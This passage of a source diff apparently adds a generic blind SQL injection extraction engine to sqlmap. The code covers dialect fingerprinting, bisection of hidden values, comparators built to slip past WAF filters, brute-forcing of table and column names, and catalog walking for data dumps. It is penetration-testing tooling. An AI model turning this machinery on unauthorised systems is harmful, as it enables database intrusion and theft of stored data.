the dialect; returns (version, implied_product) - some exprs imply a + # product just by existing (e.g. H2VERSION() -> H2) + for _label, expr, prod, implies in _BANNERS: + if self._hasChars(expr): + val = self.extract(expr, limit=96) + if val: + self.dialect.version = val + return val, (prod if implies else None) + return None, None + + def banner(self): + """The --banner action: the full version string, read on demand ONLY. The + fingerprint never triggers this - naming the product (identify) is cheap and + does not need the banner unless the catalog family is ambiguous.""" + if not self._discovered: + self.discover() + if self.dialect.version is None: + try: + self._probeBanner() + except OracleUndecided: + pass + return self.dialect.version + + @staticmethod + def _nameFromBanner(text): + low = text.lower() + for kw in _BANNER_KEYWORDS: + if kw.lower() in low: + return kw + return None + + def _discoverSubstring(self): + for name, tmpl in _SUBSTRING: + g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln) + base = None + if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)): + base = 1 + elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)): + base = 0 + if base is None: + continue + self.dialect.substring = Cap(name, tmpl, index_base=base) + # base detection above CONFIRMS the substring fn works; the property + # measurements below are best-effort and MUST NOT discard it - a probe the + # oracle can't decide leaves the property at a safe default, never aborts. + props = self.dialect.substring.props + try: + props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1)) + props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0)) + props["unit"] = self._substringUnit() + except OracleUndecided: + pass + props.setdefault("beyond_end", "unknown") + props.setdefault("zero_length", "unknown") + props.setdefault("unit", "unknown") + return name + self.dialect.substring = None + raise RuntimeError("no working substring function found") + + def _codeCharTmpl(self): + # a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets + # the unicode PROPERTY probes build a multibyte test char server-side instead + # of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers. + if self._codeTmpl is None: + self._codeTmpl = False + # PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a + # code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364) + # is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII- + # working constructor when no Unicode-capable one exists. + for unicode_capable in (True, False): + for _, tmpl in _CHARFROM: + if not (self._ask("%s='a'" % tmpl.format(code=97)) and + not self._ask("%s='b'" % tmpl.format(code=97))): + continue + if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)): + continue + self._codeTmpl = tmpl + break + if self._codeTmpl: + break + return self._codeTmpl or None + + def _substringUnit(self): + # char vs byte, ASCII-only + self-referential: SUBSTR(,1,1) returns the + # whole char (== ) if char-based, or a partial byte (!= ) if byte-based. + # is a multibyte codepoint built from its numeric code (no raw bytes sent). + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8) + if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)): + return "characters" + return "bytes-or-unknown" + + def _edgeBehavior(self, expr): + if self._ask("%s=''" % expr): + return "empty" + if not self._ask("%s IS NOT NULL" % expr): + return "null-or-error" + return "other" + + def _discoverLength(self): + # prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2) + # so length stays in the same unit as the char-indexed substring + for prefer_chars in (True, False): + for name, tmpl in _LENGTH: + f = lambda s: tmpl.format(expr=s) + if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))): + continue + try: + unit = self._lengthUnit(f) + except OracleUndecided: + unit = "unknown" + if prefer_chars and unit != "characters": + continue + trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space? + empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL? + self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing, + empty_is_null=empty_null) + return name + self.dialect.length = None + raise RuntimeError("no working length function found") + + def _lengthUnit(self, f): + # ASCII-only: measure the length of a multibyte char built from its code. + # 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) + if self._ask("%s=1" % f(mb)): + return "characters" + if self._ask("%s>=2" % f(mb)): + return "bytes" + return "unknown" + + def _fixupLength(self): + # a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates + # any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat. + L = self.dialect.length + if not L or L.get("trailing"): + return + if self.dialect.concat: + joined = self.dialect.concat[1].format(a="({expr})", b="'.'") + props = dict(L.props, trailing=True) + inner = "(%s)-1" % L[1].format(expr=joined) + # a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1 + # is 0, which would report a NULL value as an empty string. Guard so a NULL input + # still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'. + tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner + self.dialect.length = Cap(L.name + "+dot", tmpl, **props) + self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name) + else: + self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it") + + def _checkCompat(self): + # substring positions and the length count must be in the SAME unit, else + # the per-position walk desyncs on multibyte data + s, ln = self.dialect.substring, self.dialect.length + if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes": + # HARD strategy change (not just a warning): a byte-count length would drive the + # char-indexed substring walk PAST the end of a multibyte value. Discard it so + # length is derived from the char-based substring instead - same unit, no desync. + self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring") + self.dialect.length = None + + def _discoverBytelen(self): + # a *byte*-length fn - distinguished from char length with a multibyte char + # (a char-length fn would report 1). the char is built from its code (ASCII on + # the wire); if it can't be built, the atlas name is trusted on the ASCII check. + cf = self._codeCharTmpl() + mb = cf.format(code=0x20AC) if cf else None + for name, tmpl in _BYTELEN: + try: + if not self._ask("%s=2" % tmpl.format(expr="'AB'")): + continue + if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)): + continue # counts chars, not bytes + except OracleUndecided: + continue + self.dialect.bytelen = Cap(name, tmpl) + return name + + # casts with no length bound - hex-framing a value through these can never truncate it; + # anything else may silently shorten a long value, so dump() verifies those cells at source + _UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max", + "cast_varchar_max", "cast_string")) + + def _discoverTextcast(self): + # a cast that stringifies a number: substr(cast(123),1,1)='1' and the + # negative sign survives (substr(cast(-42),1,1)='-') + for name, tmpl in _TEXTCAST: + c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42") + if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \ + self._lenEquals(c123, 3) and \ + self._ask("%s='-'" % self._sub(cneg, 1, 1)): + self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS) + return name + + def _discoverCoalesce(self): + # COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured* + # property, not a requirement (on Oracle '' IS NULL, so it becomes 'X'). + for name, tmpl in _COALESCE: + g = lambda e, fb: tmpl.format(expr=e, fallback=fb) + if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)): + empty_distinct = self._lenEquals(g("''", "'X'"), 0) + self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct) + return name + + def _discoverDual(self): + # the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint + for name, frm in _DUAL: + if self._ask("(SELECT 1%s)=1" % frm): + self.dialect.dual = Cap(name, frm) + return name + + def _discoverConcat(self): + # test via substring of the joined result to dodge numeric-coercion + # false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.) + for name, tmpl in _CONCAT: + joined = tmpl.format(a="'sq'", b="'lm'") + if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \ + self._lenEquals(joined, 4): + self.dialect.concat = Cap(name, tmpl) + # function-style concat (CONCAT(a,b)) may be VARIADIC - a flat + # CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller + # payload, less WAF/URL surface). operators (||/+) split() to "". + func = tmpl.split("(")[0] + if func: + try: + three = "%s('s','q','l')" % func + if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3): + self.dialect.concat.props["variadic"] = func + except OracleUndecided: + pass + return name + self.dialect.concat = None + self.dialect.notes.append("no concatenation operator discovered") + + def _discoverCompare(self): + # 1) numeric code function - fast, unambiguous bisection + one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71) + for name, tmpl in _CHARCODE: + code = tmpl.format(expr=one) + if self._ask("%s=113" % code) and not self._ask("%s=112" % code): + self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl)) + self.dialect.compare = "code" + self.dialect.ordered = True + return "code:%s" % name + self.dialect.charcode = None + + # 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a + # code function (one compare per bisection) and recovers case under CI / + # locale collations. tried before hex because it's cheaper. + cf = self._codeCharTmpl() + for name, tmpl in _BINWRAP: + w = lambda s: tmpl.format(x=s) + if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and + not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and + not self._ask("%s=%s" % (w("'a'"), w("'A'")))): + continue + # BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT + # values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE) + # and ACCENTS (many collations are accent-insensitive). One that folds either is + # ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a + # folded value (trailing-space or accent folding) to EXACT. + if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive + continue + # accent test needs a char constructor to build the accented probe. If we HAVE one and + # it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are + # UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so + # it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter). + byte_exact = False + if cf: + if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive + continue + byte_exact = True + self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact) + self.dialect.compare = "collation" + self.dialect.ordered = True + if not byte_exact: + self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char " + "constructor) - used for ordering, not exactness") + return "collation:%s" % name + + # 3) hex/byte function - collation-independent, recovers letter case even + # under case-insensitive collations (the key fallback when code fns are + # filtered by a WAF) + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc is not None: # '' = usable, codec unknown (auto-detect) + self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None)) + self.dialect.compare = "hex" + self.dialect.ordered = True + return "hex:%s" % name + + # 4) direct string comparison - only trustworthy where the collation follows + # byte order (probe the ASCII case/range invariants first) + byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'")) + if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one): + self.dialect.compare = "ordinal" + self.dialect.ordered = True + return "ordinal" + + # 5) equality scan - case-correct only under a case-sensitive collation + if not self._ask("'a'='A'"): + self.dialect.compare = "equality" + return "equality" + + # 6) last resort: case-insensitive equality. letters recovered, CASE LOST + # (no code/hex function and a CI collation - a genuine hard limit) + self.dialect.compare = "equality-ci" + self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable") + return "equality-ci" + + # STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1, + # !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary + # (2>2 must be FALSE) and would then read every count/length/code off by one. Each + # candidate must reproduce '>' at the equality boundary AND across zero and negatives. + _GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False), + (0, -1, True), (0, 0, False), (0, 1, False), + (-2, -3, True), (-2, -2, False), (-2, -1, False)) + + def _provesGt(self, render): + # render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches + # strict '>' on EVERY truth-table row (equality boundary + zero + negative domain). + try: + for a, b, want in self._GT_TRUTH: + if bool(self._ask(render(a, b))) != want: + return False + except OracleUndecided: + return False + return True + + def _discoverComparator(self): + # how to express "value > threshold" for bisection. A WAF that strips '<'/'>' + # (very common) would otherwise leave code-mode picking '>' and silently + # failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall + # to order-free IN() subset bisection which needs only '=' membership. + HUGE = 1 << 62 + try: + if self._provesGt(lambda a, b: "%d>%d" % (a, b)): + self._comparator = "gt" + elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)): + self._comparator = "between" + self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") + elif self._discoverOperatorFreeComparator(): + # picked an ordered (log2) comparator that needs NO comparison operator - see below + pass + else: + self._comparator = "membership" + self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") + self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)") + except OracleUndecided: + pass # keep the safe defaults (gt / IN-ok) + + def _discoverOperatorFreeComparator(self): + # Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN): + # each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the + # comparison operators. Each must pass the FULL signed truth table (not a 3-point positive + # probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET + # with lo==hi at n=-1) is rejected instead of silently misreading signed values. + candidates = ( + ("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS + ("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered + ("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once) + ("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering + ("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle + ("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB + ) + for name, tmpl in candidates: + if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)): + self._comparator = name + self._cmpTemplate = tmpl + self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper()) + return True + return False + + def _charcodeSemantics(self, tmpl): + # ASCII-only ROUND-TRIP: build a char from its code, then read the code back. + # code(char(N))==N means extract-then-rebuild is faithful for N. no raw + # non-ASCII byte ever crosses the URL/app/DBMS encoding layers. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + code = lambda n: tmpl.format(expr=cf.format(code=n)) + try: + if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9) + return "unknown" + if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it) + return "codepage" # single-byte codepage only + # a supplementary char proves full codepoint vs a UTF-16 code-unit fn + # (SQL Server UNICODE() returns the leading surrogate for U+1F642). + if self._ask("%s=128578" % code(0x1F642)): + return "codepoint" + if self._ask("%s=55357" % code(0x1F642)): # high surrogate + return "utf16_unit" + return "bmp_codepoint" # verified on BMP only + except OracleUndecided: + return "unknown" + + def _discoverCharfrom(self): + for name, tmpl in _CHARFROM: + if self._ask("%s='a'" % tmpl.format(code=97)) and \ + not self._ask("%s='b'" % tmpl.format(code=97)): + self.dialect.charfrom = Cap(name, tmpl) + return name + self.dialect.charfrom = None + + def _discoverCharset(self): + # ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a + # boolean oracle can read directly (a huge advantage over passive byte-guessing, which + # can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a + # name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the + # authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact. + with self._probePhase(): # a wrong-family charset expr errors -> skip + for expr in _CHARSET_PROBES: + try: + if not self._hasChars(expr): + continue + res = self.extractResult(expr, limit=64) + except OracleUndecided: + continue + if res.value and res.exact: + codec = _charsetCodec(res.value) + if codec: + self.dialect.charset = codec + self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec)) + return codec + return None + + def _discoverIdentity(self): + for kind, candidates in sorted(_IDENTITY.items()): + for expr in candidates: + # a valid identity expression has non-zero length; invalid -> error -> false + if self._hasChars(expr): + self.dialect.identity[kind] = expr + break + + def _discoverCatalog(self): + for table, family, enum in _CATALOGS: + if self._exists(table): + self.dialect.catalog = table + self.dialect.family = family + self.dialect.catalogEnum = enum + return table diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py new file mode 100644 index 00000000000..7e902dd2faf --- /dev/null +++ b/extra/esperanto/engine.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _FREQ_ORDER +from .atlas import _hardWarnings +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _unichr +from .records import Dialect +from .records import ExtractResult +from .records import OracleUndecided +from .oracle import _OracleCore +from .discovery import _Discovery +from .extraction import _Extraction +from .enumeration import _Enumeration + + +class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration): + """DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern + (oracle / discovery / extraction / enumeration); this class only holds + construction + the query counter.""" + + def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1, + maxbytes=None, max_queries=None): + """oracle: callable(condition_str) -> bool. + quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or + intermittently-erroring oracle can't flip a single probe and corrupt a + result; retries re-attempts a raised call before it counts as an error. + maxlen caps text characters; maxbytes separately caps byte/hex recovery + (default 4*maxlen); max_queries is an optional hard oracle-call ceiling.""" + if not callable(oracle): + raise TypeError("oracle must be callable") + self.oracle = oracle + self.verbose = verbose + self.maxlen = maxlen + self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes + self.retries = retries + self.quorum = max(1, quorum) + self.max_queries = max_queries + self.dialect = Dialect() + self._queries = 0 + self._errors = 0 + self._hexProbed = False + self._hexOrdered = None + self._backslashEscape = None + self._codeTmpl = None + self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership" + self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n} + self._inOk = True # IN(...) usable (order-free subset bisection) + self._lastTruncated = False + self._discovered = False + self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired + self._castPreserves = None # cached: does the text cast preserve a canary accent? + self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an + # undecidable probe there = "rung unusable" -> False; elsewhere (reading + # committed data) an undecidable probe stays undecided so it degrades loudly + self._progress = None # optional host callback(str) for live per-VALUE feedback + self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER + # feedback DURING a long extraction (so the user sees it working) + + @property + def queryCount(self): + return self._queries + + +def hostExtract(oracle, strategy, expr, maxlen=4096): + """Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle. + + Proof that the strategy is a sufficient hand-off: it reproduces char-by-char + extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's + `bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders + through strategy.renderGt (the discovered comparator), so it survives a WAF that + strips '>' exactly as the engine does, and length is measured via the length fn OR, + when there is none, derived from the substring's end. + + It covers the char-comparison modes (code / collation / ordinal / equality) with an + ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered + comparator) are NOT driven by this reference - it raises rather than silently + emitting an operator the dialect declared unusable or returning wrong data. + + Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string: + an undecided host observation degrades to a FAILED result (never a manufactured bit), + a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an + UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity + FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof.""" + HUGE = 1 << 62 + + def ask(cond): + # STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything + # else (None from a transport/undecided oracle) is NOT coerced to False. + r = oracle(cond) + if r is True or r is False: + return r + raise OracleUndecided("host oracle undecided: %s" % cond) + + if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None): + raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference") + if strategy.comparator == "membership": + raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)") + + def _run(): + if strategy.length is not None: + L = strategy.renderLength(expr) + if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative + is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice) + return ExtractResult(None, is_null=is_null, complete=is_null) + if maxlen <= 0: # non-empty but capped to nothing + return ExtractResult("", complete=False, truncated=True) + if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string + return ExtractResult("", complete=True) + lo, hi = 1, min(8, maxlen) + while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)): + lo, hi = hi + 1, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi) // 2 + lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid) + length = lo + truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap + # FINAL EQUALITY (as the native integer reader does): the comparator is proven only on + # literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n) + # converges off-by-one. Confirm the length directly, else fail closed. + if not truncated and not ask("(%s)=%d" % (L, length)): + raise OracleUndecided("host length failed final equality") + else: # no length fn: derive from substring end + exists = lambda n: ask(strategy.renderCharExists(expr, n)) + if not exists(1): + is_null = ask(strategy.renderIsNull(expr)) # ask ONCE + return ExtractResult(None, is_null=is_null, complete=is_null) + if maxlen <= 0: # non-empty but capped to nothing + return ExtractResult("", complete=False, truncated=True) + lo, hi = 1, min(8, maxlen) + while hi < maxlen and exists(hi): + lo, hi = hi, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1) + length = lo + truncated = length >= maxlen and exists(maxlen + 1) + + def read(pos): + mode = strategy.compare_mode + if mode == "code": + code = strategy.renderCode(expr, pos) + top = 0x10FFFF + for cap in (127, 255, 0xFFFF, 0x10FFFF): + if not ask(strategy.renderGt(code, cap, HUGE)): + top = cap + break + a, b = 0, top + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m) + # FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code + # fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by- + # one even when the code fn is codepoint-faithful. Confirm directly, else fail. + if not ask("(%s)=%d" % (code, a)): + raise OracleUndecided("host code failed final equality") + return _unichr(a) + if mode in ("collation", "ordinal"): + cs = _PRINTABLE_SORTED + a, b = 0, len(cs) - 1 + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m) + return cs[a] + for ch in _FREQ_ORDER: # equality scan + if ask(strategy.renderCharCmp(expr, pos, ch, "=")): + return ch + return _REPL + + value = "".join(read(i) for i in range(1, length + 1)) + warns = ["contains unresolved char"] if _REPL in value else [] + if strategy.compare_mode == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + # WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point + # semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a + # rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed + # against the source rather than trusted because the code fn is faithful. + needs_verify = not truncated and _REPL not in value + if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))): + warns.append("whole-value verification failed") + return ExtractResult(value, complete=False, truncated=truncated, warnings=warns) + # mirror the native EXACT gate: without a proven byte-exact witness (hex / binary / + # codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to + # collation-dependent plain '=' which cannot certify byte-exactness. + if value and not truncated and _REPL not in value and strategy.exact_witness is None: + warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness") + return ExtractResult(value, complete=not truncated and not _hardWarnings(warns), + truncated=truncated, warnings=warns) + + try: + return _run() + except OracleUndecided: + return ExtractResult(None, complete=False, warnings=["host oracle undecided"]) diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py new file mode 100644 index 00000000000..ef6591efe90 --- /dev/null +++ b/extra/esperanto/enumeration.py @@ -0,0 +1,906 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _BULK_AGG +from .atlas import _COLUMN_SPECS +from .atlas import _HEX_PAYLOAD_CODES +from .atlas import _IDENT_QUOTE +from .atlas import _KEY_SPECS +from .atlas import _REPL +from .atlas import _ROWID +from .atlas import _ROWID_LITBOUND +from .records import BulkResult +from .records import Cap +from .records import InferenceStrategy +from .records import OracleUndecided +from .wordlist import commonColumns +from .wordlist import commonTables + +_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away +_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row +# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump) +_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax")) + + +class _Enumeration(object): + """_Enumeration + + catalog walking + data dump: enumerate / columns / dump / bulk + row selection. + When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the + table/column listings fall back to brute-forcing common names (bruteTables / + bruteColumns) so extraction works with zero schema knowledge.""" + + def enumerate(self, kind="table", limit=10, schema=None): + """Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect + row limiter needed, and cost scales with `limit`, not catalog size. `schema` + scopes tables to one database. Falls back to brute-forcing common table names + when the catalog is unavailable/empty. For a full dump prefer enumerateBulk.""" + names = None + if kind in self.dialect.catalogEnum and self._canPage: + names = self.enumerateKeyset(kind, limit, schema) + if not names and kind == "table": + names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names + return names + + @property + def _canPage(self): + # keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with + # neither, the catalog walk can't advance past the first row -> use brute-force + return self._comparator in ("gt", "between") or self._inOk + + def bruteTables(self, limit=50, schema=None): + """No/unreadable catalog: discover tables by existence-probing common names + (COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know + nothing about the schema' fallback, akin to sqlmap's --common-tables.""" + self.dialect.notes.append("catalog unavailable - brute-forcing common table names") + found, tries = [], 0 + for name in commonTables(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + tries += 1 + qname = self.quoteIdent(name) + if schema is not None: + qname = "%s.%s" % (self.quoteIdent(schema), qname) + try: + if self._exists(qname): + found.append(name) + self._emit(name) + except OracleUndecided: + break # oracle wall - stop, keep what we have + return found + + def bruteColumns(self, table, schema=None, limit=100): + """No/unreadable column catalog: discover columns of `table` by existence- + probing common names (COUNT(col) succeeds -> the column exists).""" + qtable = self.quoteIdent(table) + if schema is not None: + qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + found, tries = [], 0 + for col in commonColumns(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns + continue + tries += 1 + try: + # probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare + # column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would + # pass every fake name), and the alias stops a candidate that is really a + # KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe). + if self._exists(qtable, col, alias="e"): + found.append(col) + self._emit(col) + except OracleUndecided: + break + if found: + self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found)) + return found + + def _source(self, kind, schema=None): + col, src, filt = self.dialect.catalogEnum[kind] + clauses = [filt] if filt else [] + if schema is not None and "schema" in self.dialect.catalogEnum: + scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1] + # the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate + # table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas) + # so `name=` on sys.tables would match table NAMES - skip it, don't corrupt. + if ssrc == src: + clauses.append("%s=%s" % (scol, self.buildLiteral(schema))) + return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "") + + def enumerateKeyset(self, kind, limit=10, schema=None): + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind, schema) + return self._keysetWalk(col, src, where, limit) + + def _keysetWalk(self, col, src, where, limit): + # page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row + # limiter needed. the FIRST query is unbounded (a space/'' seed would skip + # identifiers sorting below it). the DB does the ordering in its own + # collation; Python only tests EXACT repetition (collation-invariant) - never + # a Python `<=` ordering test. + conj = " AND " if where else " WHERE " + names, prev = [], None + while len(names) < limit: + if prev is None: + expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where) + else: + beyond = self._beyondSql(col, prev, "text", seen=names) + if beyond is None: # no ordered comparator, no IN -> can't page + self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)") + break + expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond) + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget + # probe (permission or charset wall) stops the listing with what we have + try: + if not self._ask("%s IS NOT NULL" % expr): + break + res = self.extractResult(expr) # 